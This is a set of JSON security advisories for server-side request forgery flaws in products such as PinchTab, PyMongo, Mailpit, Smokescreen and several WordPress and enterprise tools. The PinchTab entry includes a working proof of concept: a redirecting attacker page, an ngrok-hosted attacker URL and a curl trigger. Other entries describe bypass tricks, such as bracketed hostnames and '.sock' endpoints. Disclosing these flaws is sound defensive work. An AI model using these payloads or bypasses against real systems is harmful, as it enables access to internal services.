CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2026-32473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T15:16:52Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Server Side Request Forgery (SSRF) in PDF Smart Viewer for Elementor \u003c= 1.0.4 versions.",
  "id": "GHSA-qw9q-v565-hq2q",
  "modified": "2026-08-18T15:31:46Z",
  "published": "2026-08-18T15:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32473"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/pdf-smart-viewer-for-elementor/vulnerability/wordpress-pdf-smart-viewer-for-elementor-plugin-1-0-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-4215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-16T14:20:08Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in FlowCI flow-core-x up to 1.23.01. The impacted element is the function Save of the file core/src/main/java/com/flowci/core/config/service/ConfigServiceImpl.java of the component SMTP Host Handler. The manipulation results in server-side request forgery. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-qwhx-37c9-3c7j",
  "modified": "2026-03-16T15:30:46Z",
  "published": "2026-03-16T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fakebug111/my_public_bug/blob/main/issus01.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.351139"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.351139"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.770491"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-1662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T09:15:12Z",
    "severity": "MODERATE"
  },
  "details": "The URL Media Uploader plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.0 via the \u0027url_media_uploader_url_upload\u0027 action. This makes it possible for authenticated attackers, with author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-qwj2-2fwc-g58h",
  "modified": "2026-04-08T21:33:03Z",
  "published": "2025-02-28T09:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1662"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3247347%40url-media-uploader\u0026new=3247347%40url-media-uploader"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/url-media-uploader"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae8f1852-2d67-4ed9-ab3d-5b3bf4083e06?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-32169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-19T21:17:10Z",
    "severity": "CRITICAL"
  },
  "details": "Server-side request forgery (ssrf) in Azure Cloud Shell allows an unauthorized attacker to elevate privileges over a network.",
  "id": "GHSA-qwq8-4crh-rgwq",
  "modified": "2026-03-19T21:30:25Z",
  "published": "2026-03-19T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32169"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32169"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stripe/smokescreen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T22:04:04Z",
    "nvd_published_at": "2022-05-21T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe primary use case for Smokescreen is to prevent server-side request forgery (SSRF) attacks in which external attackers leverage the behavior of applications to connect to or scan internal infrastructure.\n\nSmokescreen also offers an option to deny access to additional (e.g., external) URLs by way of a deny list. There was an issue in Smokescreen that made it possible to bypass the deny list feature by surrounding the hostname with square brackets (e.g. `[example.com]`). \n\n### Recommendation\nUpgrade Smokescreen to version 0.0.4 or later.\n\n### Acknowledgements\nThanks to [Axel Chong](https://github.com/haxatron) for reporting the issue.\n\n### For more information\nEmail us at security@stripe.com\n\n",
  "id": "GHSA-qwrf-gfpj-qvj6",
  "modified": "2022-06-08T16:30:51Z",
  "published": "2022-05-24T22:04:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stripe/smokescreen/security/advisories/GHSA-qwrf-gfpj-qvj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29188"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stripe/smokescreen/commit/dea7b3c89df000f4072ff9866d61d78e30df6a36"
    },
    {
      "type": "PACKAGE",
      "url": "github.com/stripe/smokescreen"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Smokescreen SSRF via deny list bypass (square brackets)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-01T00:15:46Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in deco-cx apps up to 0.120.1. Affected by this vulnerability is the function AnalyticsScript of the file website/loaders/analyticsScript.ts of the component Parameter Handler. Such manipulation of the argument url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 0.120.2 addresses this issue. It is suggested to upgrade the affected component.",
  "id": "GHSA-qwwx-fhv3-c8q4",
  "modified": "2025-12-01T00:30:21Z",
  "published": "2025-12-01T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deco-cx/apps/pull/1360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deco-cx/apps/releases/tag/0.120.2"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.333807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.333807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.691837"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33081"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T16:34:00Z",
    "nvd_published_at": "2026-03-20T10:16:18Z",
    "severity": "MODERATE"
  },
  "details": "### **The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.**\n\nExploitation requires \\security.allowDownload=true`, which is disabled by default.`\n\nHowever, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.\n\nBecause the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.\n\nThis results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.\n\n\n### **Steps to Reproduce:**\n\n**Environment Setup**\nTarget: PinchTab server (tested on v0.8.x, v0.7.x)\nAttacker-controlled server: Publicly accessible (e.g., via ngrok) [attacker.py](https://github.com/user-attachments/files/26013554/att.py)\nInternal service: Runs on the same host as PinchTab and is not externally accessible [internal_service.py](https://github.com/user-attachments/files/26013551/internal.py)\n\n**1. Start a Local Internal Service (Victim Side)**\n\nRun a simple HTTP service bound to localhost: [internal_service.py](https://github.com/user-attachments/files/26013551/internal.py)\n    \n    python internal_service.py\n    \n    #Example behavior of internal_service.py:\n    #Listens on 127.0.0.1:1337\n    #Exposes endpoint /increment\n    #Increments a counter and logs requests\n    \n    #Expected output when accessed:\n    #COUNTER INCREMENTED: 1\n    #COUNTER INCREMENTED: 2\n\n**2. Host an Attacker-Controlled Page (Attacker side)**\n\nDeploy a malicious HTML page that redirects to the internal service: [attacker.py](https://github.com/user-attachments/files/26013554/att.py)\n\n    \u003chtml\u003e\n    \u003cbody\u003e\n    \u003cscript\u003e\n    setTimeout(function(){\n        window.location = \"http://127.0.0.1:1337/increment\";\n    }, 1500);\n    \u003c/script\u003e\n    \u003c/body\u003e\n    \u003c/html\u003e\nHost this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app\n\n\n**3. Trigger the Vulnerable Endpoint (Attacker side)**\n\nSend a request to the PinchTab /download endpoint:\n\n    curl \"http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app\"\n\nIf a server token is configured, the request must include valid authentication.\n\n**4. Observe Server-Side Request to Localhost**\n\nWhen PinchTab processes the request:\n1. It launches a headless Chromium instance\n2. The browser loads the attacker-controlled page\n3. JavaScript executes within the browser\n4. The browser redirects to: http://127.0.0.1:1337/increment\n\n\n**5. Verify the Impact**\n\nCheck the output of internal_service.py:\n   \u003cimg width=\"718\" height=\"156\" alt=\"proof\" src=\"https://github.com/user-attachments/assets/cf00e3e6-71c6-44ae-83b0-ed819f19ee9a\" /\u003e\n\nCOUNTER INCREMENTED: 1\n   \u003cimg width=\"718\" height=\"282\" alt=\"proof_incremented\" src=\"https://github.com/user-attachments/assets/98281b8e-221b-4e76-a10b-1b2335d08c61\" /\u003e\n\n**This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.**\n\n\n### **Impact**\nThis vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.\n\nAlthough the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.\n\n### **Mitigation**\nApply the same URL safety policy to every browser-issued request in the `/download` flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.",
  "id": "GHSA-qwxp-6qf9-wr4m",
  "modified": "2026-03-20T21:28:07Z",
  "published": "2026-03-18T16:34:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-qwxp-6qf9-wr4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33081"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pinchtab/pinchtab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PinchTab has a Blind SSRF via browser-side redirect bypass in /download URL validation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-82000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T19:16:53Z",
    "severity": "CRITICAL"
  },
  "details": "Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-qwxv-rrr7-4wx6",
  "modified": "2026-09-22T21:31:26Z",
  "published": "2026-09-22T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82000"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/aem-forms/apsb26-151.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.18.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pymongo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "4.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:46:53Z",
    "nvd_published_at": "2026-09-24T19:17:20Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPyMongo passed the KMS endpoint of a data key verbatim into `parse_host()`, which returns any string ending in `.sock` unchanged instead of validating it as a hostname and port. The driver\u0027s connection code then treats such an address as a Unix domain socket path and connects to it with `AF_UNIX`. Because the endpoint originates from `masterKey.endpoint` in a key vault document, a party who can write to the key vault could redirect the driver\u0027s KMS connection to an arbitrary Unix domain socket path on the application host.\n\n### Impact\n\nAn application using client-side field level encryption (CSFLE) or Queryable Encryption is affected if an attacker can write to its key vault collection. Setting `masterKey.endpoint` on a data key to a `.sock`-suffixed string causes the next KMS request for that key (key cache TTL is ~60 seconds) to open an `AF_UNIX` connection to the attacker-chosen filesystem path from inside the victim application process. The documented custom KMS endpoint feature supports TCP hosts only, so this crosses a boundary the feature was never intended to allow.\n\nImpact is limited to the side effects of the connection itself. The socket is still wrapped in a verifying TLS context using the `.sock` string as `server_hostname`, and insecure KMS TLS options are rejected, so the handshake always fails and the KMS message is never sent. The attacker controls the connect target but not the transmitted bytes (a fixed TLS ClientHello).\n\nApplications that do not use CSFLE or Queryable Encryption are not affected. Applications whose key vault is not writable by untrusted parties are not affected.\n\n### Patches\n\nFixed in PyMongo 4.18.2 `_EncryptionIO.kms_request` now rejects a `.sock`-suffixed KMS endpoint with `pymongo.errors.ConfigurationError` immediately after parsing, before any connection is attempted, on both the synchronous and asynchronous paths. No application code changes are required beyond upgrading.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Restrict write access to the key vault collection to trusted principals only. This is the recommended configuration regardless of this issue.\n- Validate `masterKey.endpoint` on data keys you create, and audit existing key vault documents for endpoints ending in `.sock`.\n\n### Details\n\n- `_EncryptionIO.fetch_keys` reads key vault documents from the server and hands them to libmongocrypt, which surfaces the stored `masterKey.endpoint` verbatim as `kms_context.endpoint`.\n- `_EncryptionIO.kms_request` passed that string to `parse_host(endpoint, 443)`. `parse_host` returns entities ending in `.sock` verbatim, skipping the hostname and port validation applied to every other input.\n- `_create_connection` (and the async equivalent) checks `host.endswith(\".sock\")` and performs an `AF_UNIX` `sock.connect(host)`, treating the string as a filesystem path.",
  "id": "GHSA-qx36-8mw2-4r3x",
  "modified": "2026-10-05T23:46:53Z",
  "published": "2026-10-05T23:46:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mongodb/mongo-python-driver/security/advisories/GHSA-qx36-8mw2-4r3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongodb/mongo-python-driver/pull/3066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongodb/mongo-python-driver/commit/44119d0f9dfa0224d84b03be702a6d9a5ef1dea7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongodb/mongo-python-driver/commit/640dd2383a1a2fb1a10e5222d50ebc0b22a61bd7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mongodb/mongo-python-driver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongodb/mongo-python-driver/blob/4.18.2/doc/changelog.rst"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongodb/mongo-python-driver/releases/tag/4.18.2"
    },
    {
      "type": "WEB",
      "url": "https://www.mongodb.com/community/forums/t/pymongo-4-18-2-released/343732"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PyMongo: PYTHON-5990 Forced Unix domain socket connection via a .sock KMS endpoint in client-side field level encryption"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-84697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T01:17:24Z",
    "severity": "MODERATE"
  },
  "details": "Mailpit\u0027s IsInternalIP deny list function fails to block the Azure WireServer address 168.63.129.16 and the RFC 2765/6145 IPv4-translated IPv6 prefix, allowing server-side request forgery to internal destinations. Attackers can supply hostnames resolving to these addresses in message content to reach the link check API and proxy endpoint for accessing internal resources.",
  "id": "GHSA-qx8f-9cjx-54j9",
  "modified": "2026-09-02T03:31:12Z",
  "published": "2026-09-02T03:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84697"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/commit/a02821bf3424da9196e156c422370f4868a1dff2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/blob/v1.31.0/internal/tools/net.go"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/mailpit-ssrf-deny-list-bypass-via-azure-metadata-and-ipv6-prefix"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}